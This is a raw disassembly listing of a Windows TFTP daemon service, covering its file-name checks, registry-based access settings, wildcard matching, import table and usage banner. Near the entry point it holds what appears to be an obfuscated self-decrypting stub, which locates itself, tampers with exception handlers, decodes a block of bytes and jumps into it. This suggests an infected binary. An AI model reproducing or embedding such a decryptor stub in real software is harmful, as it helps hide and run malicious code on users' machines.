loc_100341F: ; CODE XREF: sub_100333A+D7j
mov edi, offset aOctet ; "octet"
loc_1003424: ; CODE XREF: sub_100333A+106j
mov cl, [esi]
mov al, cl
cmp cl, [edi]
jnz short loc_1003446
test al, al
jz short loc_1003442
mov cl, [esi+1]
mov al, cl
cmp cl, [edi+1]
jnz short loc_1003446
inc esi
inc esi
inc edi
inc edi
test al, al
jnz short loc_1003424
loc_1003442: ; CODE XREF: sub_100333A+F4j
xor eax, eax
jmp short loc_100344B
; ---------------------------------------------------------------------------
loc_1003446: ; CODE XREF: sub_100333A+F0j
; sub_100333A+FEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100344B: ; CODE XREF: sub_100333A+10Aj
test eax, eax
jnz loc_10036F8
mov dword ptr [ebx+10030h], 8000h
loc_100345D: ; CODE XREF: sub_100333A+E3j
mov eax, [ebp+arg_0]
mov edi, [ebp+var_4]
or ecx, 0FFFFFFFFh
lea edx, [eax+1FFADh]
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+var_8], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_100349A
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10034DF
; ---------------------------------------------------------------------------
loc_100349A: ; CODE XREF: sub_100333A+157j
push [ebp+var_18]
push offset dword_1005D20
call sub_10039D6
test eax, eax
jz loc_10036EC
push [ebp+var_4]
push offset dword_1005D90
call sub_10039D6
test eax, eax
jz loc_10036EC
push (offset dword_1005E07+1)
push 0FFBCh
push [ebp+var_8]
call sub_100273D
test eax, eax
jnz short loc_10034E6
push offset aFileNameTooLon ; "File name too long"
loc_10034DF: ; CODE XREF: sub_100333A+15Ej
push 0
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_10034E6: ; CODE XREF: sub_100333A+19Ej
push 180h
push 8302h
push [ebp+var_8]
call ds:dword_10010E4
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebx+1002Ch], eax
jnz short loc_100351E
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
jmp loc_10036F2
; ---------------------------------------------------------------------------
loc_100351E: ; CODE XREF: sub_100333A+1CBj
xor esi, esi
push esi
push 2
push 2
call ds:dword_100112C
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_1003546
call ds:dword_10010F8
push offset aInsufficientRe ; "Insufficient resources"
push esi
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_1003546: ; CODE XREF: sub_100333A+1F9j
mov [ebp+var_26], si
mov esi, [ebp+arg_0]
push 10h
mov [ebp+var_28], 2
mov eax, [esi+1Ch]
mov [ebp+var_24], eax
lea eax, [ebp+var_28]
push eax
push edi
call ds:dword_1001124
test eax, eax
jz short loc_100358A
call ds:dword_10010F8
push offset aInsufficientRe ; "Insufficient resources"
push 0
push dword ptr [esi+8]
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax
push esi
jmp loc_100370D
; ---------------------------------------------------------------------------
loc_100358A: ; CODE XREF: sub_100333A+22Ej
lea eax, [ebx+10028h]
mov [esi+8], edi
push eax
lea eax, [ebx+38h]
push eax
lea eax, [ebx+10024h]
push eax
mov eax, [ebp+var_C]
inc eax
push 2
push eax
push esi
call sub_10023D8
test eax, eax
jnz loc_1003712
push ebx
call ds:dword_1001044
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+var_18], esi
movsd
movsd
movsd
movsd
xor esi, esi
push esi
push esi
push esi
push esi
call ds:dword_1001040
cmp eax, esi
mov [ebx+0FFF8h], eax
jz short loc_10035F8
push 2
pop edi
push edi
push eax
push [ebp+var_4]
call sub_100188E
cmp eax, esi
mov [ebx+0FFFCh], eax
jnz short loc_1003603
loc_10035F8: ; CODE XREF: sub_100333A+2A5j
call ds:dword_1001038
jmp loc_1003712
; ---------------------------------------------------------------------------
loc_1003603: ; CODE XREF: sub_100333A+2BCj
add ebx, 18h
push ebx
call sub_100287F
push [ebp+var_4]
mov [ebp+var_14], 1
call sub_10028B5
mov ebx, eax
cmp ebx, esi
jz loc_1003712
xor esi, esi
mov [ebp+var_10], 1
cmp [ebx+10028h], esi
jz short loc_100364A
mov eax, [ebp+arg_0]
mov eax, [eax+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_1003654
; ---------------------------------------------------------------------------
loc_100364A: ; CODE XREF: sub_100333A+2FAj
mov dword ptr [ebx+10000h], 3E8h
loc_1003654: ; CODE XREF: sub_100333A+30Ej
mov eax, [ebx+10000h]
push esi
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:dword_1001178
mov eax, [ebp+arg_0]
mov ecx, [ebx+10024h]
mov [ebx+24h], edi
cmp ecx, esi
mov eax, [eax+20h]
mov [ebx+10018h], eax
lea eax, [ebx+10024h]
jz short loc_10036A1
mov [ebx+10020h], ecx
mov [eax], esi
jmp short loc_10036C5
; ---------------------------------------------------------------------------
loc_10036A1: ; CODE XREF: sub_100333A+35Bj
mov esi, ds:dword_1001104
push 4
pop edi
push edi
call esi ; dword_1001104
mov [ebx+38h], ax
mov ax, [ebx+10014h]
push eax
call esi ; dword_1001104
mov [ebx+3Ah], ax
mov [ebx+10020h], edi
loc_10036C5: ; CODE XREF: sub_100333A+365j
push 10h
lea eax, [ebx+38h]
push [ebp+var_18]
push 0
push dword ptr [ebx+10020h]
push eax
push [ebp+var_4]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz short loc_1003712
call ds:dword_10010F8
jmp short loc_1003712
; ---------------------------------------------------------------------------
loc_10036EC: ; CODE XREF: sub_100333A+16Fj
; sub_100333A+184j
call ds:dword_10010AC
loc_10036F2: ; CODE XREF: sub_100333A+1DFj
push 0
push 2
jmp short loc_10036FC
; ---------------------------------------------------------------------------
loc_10036F8: ; CODE XREF: sub_100333A+113j
push 0
push 4
loc_10036FC: ; CODE XREF: sub_100333A+1A7j
; sub_100333A+207j ...
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx
push eax
loc_100370D: ; CODE XREF: sub_100333A+24Bj
call sub_100230A
loc_1003712: ; CODE XREF: sub_100333A+48j
; sub_100333A+274j ...
test ebx, ebx
jz short loc_1003731
cmp [ebp+var_10], 0
jz short loc_1003723
push ebx
call ds:dword_100104C
loc_1003723: ; CODE XREF: sub_100333A+3E0j
cmp [ebp+var_14], 0
jnz short loc_1003731
push ebx
call ds:dword_10010A0
pop ecx
loc_1003731: ; CODE XREF: sub_100333A+21j
; sub_100333A+3DAj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_100333A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100373A proc near ; CODE XREF: sub_1002CE6+D7p
var_1FF70 = byte ptr -1FF70h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1FF70h
call sub_1003A3E
cmp [ebp+arg_C], 8000h
push esi
push edi
jnz short loc_100375A
push [ebp+arg_8]
push [ebp+arg_4]
jmp short loc_1003792
; ---------------------------------------------------------------------------
loc_100375A: ; CODE XREF: sub_100373A+16j
mov edx, [ebp+arg_4]
xor ecx, ecx
xor esi, esi
cmp [ebp+arg_8], ecx
jle short loc_1003790
mov edi, [ebp+arg_10]
loc_1003769: ; CODE XREF: sub_100373A+54j
cmp byte ptr [edi], 0Dh
jnz short loc_1003779
cmp byte ptr [ecx+edx], 0
jnz short loc_1003779
and byte ptr [edi], 0
jmp short loc_100378A
; ---------------------------------------------------------------------------
loc_1003779: ; CODE XREF: sub_100373A+32j
; sub_100373A+38j
mov al, [ecx+edx]
mov [ebp+esi+var_1FF70], al
inc esi
cmp al, 0Dh
jnz short loc_100378A
mov [edi], al
loc_100378A: ; CODE XREF: sub_100373A+3Dj
; sub_100373A+4Cj
inc ecx
cmp ecx, [ebp+arg_8]
jl short loc_1003769
loc_1003790: ; CODE XREF: sub_100373A+2Aj
push esi
push edx
loc_1003792: ; CODE XREF: sub_100373A+1Ej
push [ebp+arg_0]
call ds:dword_10010E8
mov edi, eax
add esp, 0Ch
cmp edi, 0FFFFFFFFh
jnz short loc_10037B7
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
loc_10037B7: ; CODE XREF: sub_100373A+69j
mov eax, edi
pop edi
pop esi
leave
retn 14h
sub_100373A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10037BF proc near ; CODE XREF: sub_1001665:loc_10017F3p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
lea eax, [ebp+var_10]
push ebx
xor ebx, ebx
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\tftpd"...
push 80000002h
mov [ebp+var_4], ebx
call ds:dword_1001000
cmp eax, ebx
jz short loc_10037F6
call ds:dword_1001038
xor eax, eax
jmp loc_100390D
; ---------------------------------------------------------------------------
loc_10037F6: ; CODE XREF: sub_10037BF+28j
cmp byte ptr dword_1005E07+1, bl
push edi
push esi
mov esi, ds:dword_1001008
jnz short loc_100383C
lea eax, [ebp+var_8]
mov [ebp+var_8], 1F4h
push eax
lea eax, [ebp+var_C]
push (offset dword_1005E07+1)
push eax
push ebx
push offset aDirectory ; "directory"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_1003831
call ds:dword_1001038
jmp short loc_100383C
; ---------------------------------------------------------------------------
loc_1003831: ; CODE XREF: sub_10037BF+68j
push 1
pop eax
cmp [ebp+var_C], eax
jnz short loc_100383C
mov [ebp+var_4], eax
loc_100383C: ; CODE XREF: sub_10037BF+45j
; sub_10037BF+70j ...
push 32h
lea eax, [ebp+var_8]
pop edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005CE8
push eax
push ebx
push offset aClients ; "clients"
push [ebp+var_10]
mov [ebp+var_8], edi
call esi ; dword_1001008
cmp eax, ebx
jz short loc_1003866
call ds:dword_1001038
jmp short loc_100386F
; ---------------------------------------------------------------------------
loc_1003866: ; CODE XREF: sub_10037BF+9Dj
cmp [ebp+var_C], 1
jnz short loc_100386F
inc [ebp+var_4]
loc_100386F: ; CODE XREF: sub_10037BF+A5j
; sub_10037BF+ABj
lea eax, [ebp+var_8]
mov [ebp+var_8], edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005D20
push eax
push ebx
push offset aMasters ; "masters"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_1003896
call ds:dword_1001038
jmp short loc_100389F
; ---------------------------------------------------------------------------
loc_1003896: ; CODE XREF: sub_10037BF+CDj
cmp [ebp+var_C], 1
jnz short loc_100389F
inc [ebp+var_4]
loc_100389F: ; CODE XREF: sub_10037BF+D5j
; sub_10037BF+DBj
lea eax, [ebp+var_8]
mov [ebp+var_8], edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005D58
push eax
push ebx
push offset aReadable ; "readable"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_10038C6
call ds:dword_1001038
jmp short loc_10038CF
; ---------------------------------------------------------------------------
loc_10038C6: ; CODE XREF: sub_10037BF+FDj
cmp [ebp+var_C], 1
jnz short loc_10038CF
inc [ebp+var_4]
loc_10038CF: ; CODE XREF: sub_10037BF+105j
; sub_10037BF+10Bj
lea eax, [ebp+var_8]
mov [ebp+var_8], edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005D90
push eax
push ebx
push offset aWritable ; "writable"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_10038F6
call ds:dword_1001038
jmp short loc_10038FF
; ---------------------------------------------------------------------------
loc_10038F6: ; CODE XREF: sub_10037BF+12Dj
cmp [ebp+var_C], 1
jnz short loc_10038FF
inc [ebp+var_4]
loc_10038FF: ; CODE XREF: sub_10037BF+135j
; sub_10037BF+13Bj
push [ebp+var_10]
call ds:dword_100100C
mov eax, [ebp+var_4]
pop esi
pop edi
loc_100390D: ; CODE XREF: sub_10037BF+32j
pop ebx
leave
retn
sub_10037BF endp
; =============== S U B R O U T I N E =======================================
sub_1003910 proc near ; CODE XREF: sub_1001665+193p
var_1F4 = byte ptr -1F4h
sub esp, 1F4h
cmp byte ptr dword_1005E07+1, 0
push ebx
push ebp
push esi
push edi
mov ebp, 1F4h
mov ebx, (offset dword_1005E07+1)
jnz short loc_100393D
push ebp
push offset aTftpdroot ; "\\tftpdroot\\"
push ebx
call ds:dword_1001148
add esp, 0Ch
loc_100393D: ; CODE XREF: sub_1003910+1Bj
lea eax, [esp+204h+var_1F4]
push ebp
push eax
push ebx
call ds:dword_100101C+4
test eax, eax
jnz short loc_1003952
push 57h
jmp short loc_10039CA
; ---------------------------------------------------------------------------
loc_1003952: ; CODE XREF: sub_1003910+3Cj
mov ecx, eax
lea esi, [esp+204h+var_1F4]
mov edi, ebx
or edx, 0FFFFFFFFh
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebx
mov ecx, edx
repne scasb
not ecx
dec ecx
cmp byte ptr dword_1005E07[ecx], 2Fh
lea eax, dword_1005E07[ecx]
jnz short loc_1003986
mov byte ptr [eax], 5Ch
loc_1003986: ; CODE XREF: sub_1003910+71j
cmp byte ptr [eax], 5Ch
jz short loc_10039B7
cmp ecx, ebp
jnb short loc_10039B7
mov edi, offset asc_100155C ; "\\"
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
mov ecx, edx
repne scasb
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd
mov ecx, ebp
and ecx, 3
rep movsb
loc_10039B7: ; CODE XREF: sub_1003910+79j
; sub_1003910+7Dj
mov edi, ebx
mov ecx, edx
xor eax, eax
push 1
repne scasb
not ecx
dec ecx
mov dword_1005FFC, ecx
loc_10039CA: ; CODE XREF: sub_1003910+40j
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 1F4h
retn
sub_1003910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10039D6 proc near ; CODE XREF: sub_1002F31+148p
; sub_1002F31+159p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
mov al, [esi]
test al, al
jz short loc_1003A2E
cmp al, 2Ah
jz short loc_1003A04
cmp al, 3Fh
jz short loc_10039F7
mov ecx, [ebp+arg_4]
cmp al, [ecx]
jnz short loc_1003A25
inc ecx
push ecx
jmp short loc_1003A01
; ---------------------------------------------------------------------------
loc_10039F7: ; CODE XREF: sub_10039D6+14j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jz short loc_1003A25
inc eax
push eax
loc_1003A01: ; CODE XREF: sub_10039D6+1Fj
inc esi
jmp short loc_1003A1B
; ---------------------------------------------------------------------------
loc_1003A04: ; CODE XREF: sub_10039D6+10j
mov edi, [ebp+arg_4]
lea eax, [esi+1]
push edi
push eax
call sub_10039D6
test eax, eax
jnz short loc_1003A29
cmp [edi], al
jz short loc_1003A25
inc edi
push edi
loc_1003A1B: ; CODE XREF: sub_10039D6+2Cj
push esi
call sub_10039D6
test eax, eax
jnz short loc_1003A29
loc_1003A25: ; CODE XREF: sub_10039D6+1Bj
; sub_10039D6+27j ...
xor eax, eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A29: ; CODE XREF: sub_10039D6+3Dj
; sub_10039D6+4Dj
push 1
pop eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A2E: ; CODE XREF: sub_10039D6+Cj
mov ecx, [ebp+arg_4]
xor eax, eax
cmp [ecx], al
setz al
loc_1003A38: ; CODE XREF: sub_10039D6+51j
; sub_10039D6+56j
pop edi
pop esi
pop ebp
retn 8
sub_10039D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003A3E proc near ; CODE XREF: sub_1001A91+5p
; sub_100230A+8p ...
jmp ds:dword_100116C
sub_1003A3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003A44 proc near ; CODE XREF: sub_10018DB+FEp
; sub_1002219+DAp
jmp ds:dword_1001138
sub_1003A44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003A4A proc near ; CODE XREF: sub_1001FA6+1Fp
; sub_1001FA6+43p
jmp ds:dword_100113C
sub_1003A4A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call sub_1003A62
call sub_1003AF4
jmp loc_1003AB7
; =============== S U B R O U T I N E =======================================
sub_1003A62 proc near ; CODE XREF: .text:01003A53p
arg_0 = byte ptr 4
push dword ptr fs:0
mov fs:0, esp
xor ebx, ebx
push ebx
push 2
push 80000000h
push ebx
push ebx
push 4
push ebx
push ebx
push 2000h
call ds:dword_1001110
xor edx, edx
push edx
push 8000h
push edx
push edx
push 4000h
push edx
push edx
push edx
push 200h
push 8
push 80000000h
push edx
call ds:dword_10010F4
loc_1003AB7: ; CODE XREF: .text:01003A5Dj
call $+5
pop ebx
add ebx, 4D44h
push ebx
mov esi, 24EDh
mov ecx, 5Eh
loc_1003ACE: ; CODE XREF: sub_1003A62+7Aj
xchg al, [ebx]
sub ax, cx
xchg al, [ebx]
inc ebx
inc ecx
sub esi, 1
or esi, esi
jnz short loc_1003ACE
pop ebx
mov esp, fs:0
pop dword ptr fs:0
lea ebp, [esp+arg_0]
leave
jmp ebx
sub_1003A62 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_1003AF4 proc near ; CODE XREF: .text:01003A58p
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
pop dword ptr [eax+0B8h]
xor eax, eax
retn
sub_1003AF4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
lea eax, [ebp-28h]
push eax
mov ecx, dword_1006000
push ecx
lea edx, [ebp-20h]
push edx
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-1Ch]
push ecx
call ds:dword_100107C+4
add esp, 14h
push offset dword_1005004
push offset dword_1005000
call sub_1003BA6
add esp, 8
call ds:dword_10010BC+1Ch
mov edx, [ebp-20h]
mov [eax], edx
mov eax, [ebp-20h]
push eax
mov ecx, [ebp-2Ch]
push ecx
mov edx, [ebp-1Ch]
push edx
call sub_1001570
add esp, 0Ch
mov [ebp-24h], eax
push eax
call ds:dword_10010EC
jmp short loc_1003B80
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-30h], ecx
push eax
push ecx
call sub_1003BA0
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov edx, [ebp-30h]
push edx
call ds:dword_10010BC+24h
loc_1003B80: ; CODE XREF: .text:01003B5Cj
add esp, 4
mov dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003BA0 proc near ; CODE XREF: .text:01003B6Ap
jmp ds:dword_10010BC+20h
sub_1003BA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003BA6 proc near ; CODE XREF: .text:01003B2Bp
jmp ds:dword_100107C
sub_1003BA6 endp
; ---------------------------------------------------------------------------
align 10h
push 30000h
push 10000h
call sub_1003BF6
add esp, 8
retn
; ---------------------------------------------------------------------------
align 10h
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
retn
; ---------------------------------------------------------------------------
align 10h
jmp ds:dword_10010BC+4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003BF6 proc near ; CODE XREF: .text:01003BBAp
jmp ds:dword_10010BC
sub_1003BF6 endp
; ---------------------------------------------------------------------------
dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h
dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch
dd 5 dup(0)
dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0
dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0
dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah
dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h
dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h
dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0
dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah
dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch
dd 80000002h, 80000037h, 80000017h, 80000014h, 0
dd 417Ch, 4190h, 0
dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h
dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0
dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp db 'WSAGetOverlappedResult',0
align 4
a2 db '2',0
aWsarecvfrom db 'WSARecvFrom',0
dw 0Fh
aWsacloseevent db 'WSACloseEvent',0
db '=',0
aWsasocketa db 'WSASocketA',0
align 10h
aWs2_32_dll db 'WS2_32.dll',0
align 4
aM db 'Œ',0
aExitprocess db 'ExitProcess',0
dw 12Dh
aGetlasterror db 'GetLastError',0
align 2
dw 2FDh
aWaitforsingleo db 'WaitForSingleObject',0
a4 db '4',0
aCreateeventa db 'CreateEventA',0
align 10h
db 0C5h ; Å
db 1, 49h, 6Eh
aItializecritic db 'itializeCriticalSection',0
dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
dw 1BAh
aHeapfree db 'HeapFree',0
align 2
dw 1Eh
aClosehandle db 'CloseHandle',0
aO db 'o',0
aEntercriticals db 'EnterCriticalSection',0
align 4
retf
; ---------------------------------------------------------------------------
db 1, 49h, 6Eh
aTerlockedincre db 'terlockedIncrement',0
align 4
db 0FBh ; û
db 2, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 1B4h
aHeapalloc db 'HeapAlloc',0
dw 252h
aResetevent db 'ResetEvent',0
align 10h
retn
; ---------------------------------------------------------------------------
db 2, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 0D8h ; Ø
db 2, 54h, 72h
aYentercritical db 'yEnterCriticalSection',0
dw 2C5h
aSuspendthread db 'SuspendThread',0
dw 254h
aResumethread db 'ResumeThread',0
db 0, 90h, 2
aSetevent db 'SetEvent',0
align 2
dw 29Ch
aSetlasterror db 'SetLastError',0
align 2
aZ db 'Z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 12Fh
aGetlocaltime db 'GetLocalTime',0
align 2
aP db '',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
aKernel32_dll db 'KERNEL32.dll',0
align 10h
db 0E5h ; å
db 1, 53h, 74h
aArtservicectrl db 'artServiceCtrlDispatcherA',0
dw 1DFh
aSetservicestat db 'SetServiceStatus',0
align 2
dw 1B9h
aRegisterservic db 'RegisterServiceCtrlHandlerA',0
db 84h ; „
db 1, 52h, 65h
aGclosekey db 'gCloseKey',0
dw 1A7h
aRegqueryvaluee db 'RegQueryValueExA',0
align 2
dw 19Dh
aRegopenkeyexa db 'RegOpenKeyExA',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 10h
db 50h ; P
db 2, 52h, 74h
aLregisterwait db 'lRegisterWait',0
dw 184h
aRtlcreatetimer db 'RtlCreateTimer',0
align 4
db 85h ; …
db 1, 52h, 74h
aLcreatetimerqu db 'lCreateTimerQueue',0
dw 42Eh
a_chkstk db '_chkstk',0
db 0A1h ; ¡
db 1, 52h, 74h
aLderegisterwai db 'lDeregisterWaitEx',0
dw 433h
a_itoa db '_itoa',0
dw 450h
aAtoi db 'atoi',0
align 2
dw 43Dh
a_stricmp db '_stricmp',0
align 2
dw 46Dh
aMemmove db 'memmove',0
dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h
dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h
dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h
dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh
dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch
dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh
dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h
dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh
dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0)
_text ends
; Section 2. (virtual address 00005000)
; Virtual size : 000012DC ( 4828.)
; Section size in file : 000012DC ( 4828.)
; Offset to raw data for section: 00005000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 1005000h
dword_1005000 dd 0 dword_1005004 dd 3 dup(0) asc_1005010 db ' ================================================================'
; DATA XREF: sub_1001570+4Do
db '======== ',0Ah
db 'Abstract: '
db ' ',0Ah
db ' This implements an RFC 783 tftp daemon. '
db ' ',0Ah
db ' It listens on port 69 for requests '
db ' ',0Ah
db ' and spawns a thread to process each request. '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'TFTPD USAGE and Installation: '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' md d:/tftpd (the StartDirec'
db 'tory). ',0Ah
db ' copy //MohsinA_p90/test/tftpd.exe . '
db ' ',0Ah
db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path'
db '). ',0Ah
db ' sc query tftpd (check if insta'
db 'lled). ',0Ah
db ' '
db ' ',0Ah
db 'Start: '
db ' ',0Ah
db ' sc start tftpd -f (creates a log '
db 'file). ',0Ah
db 'or sc start tftpd '
db ' ',0Ah
db 'or net start tftpd '
db ' ',0Ah
db 'or sc start tftpd [-dStartDirectory] [-e] [-f] '
db ' ',0Ah
db ' Options: -e use event log. '
db ' ',0Ah
db ' -f log to file. '
db ' ',0Ah
db ' -dStartDirectory '
db ' ',0Ah
db 'Info: '
db ' ',0Ah
db ' sc interrogate tftpd (logs will be updated). '
db ' ',0Ah
db ' sc query tftpd Check whether running. '
db ' ',0Ah
db 'Stop: '
db ' ',0Ah
db ' sc stop tftpd '
db ' ',0Ah
db ' net stop tftpd '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'Variables that control what files can be read/written and by whom'
db ': ',0Ah
db ' StartDirectory - only files there will be accessible. '
db ' ',0Ah
db ' LogFile is created here. '
db ' ',0Ah
db ' ValidClients - Clients matching this ip address can read files'
db '. ',0Ah
db ' eg. you can set it to "157.55.8?.*" '
db ' ',0Ah
db ' ValidMasters - clients matching this can write and read file'
db 's. ',0Ah
db ' eg. you can set it to "" and no one can write'
db '. ',0Ah
db ' ValidReadFiles - only matching files will be served out, eg. "'
db 'r*.t?t"',0Ah
db ' ValidWriteFiles- only matching files will be accepted, eg. "w'
db '*.txt" ',0Ah
db ' '
db ' ',0Ah
db 'Client: '
db ' ',0Ah
db ' tftp [-i] servername {get|put} src_file dest_file '
db ' ',0Ah
db ' -i from binary mode, else ascii mode is used. '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' ================================================================'
db '======== ',0Ah,0
align 8
aTftpd db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo
; .data:off_1005CB0o
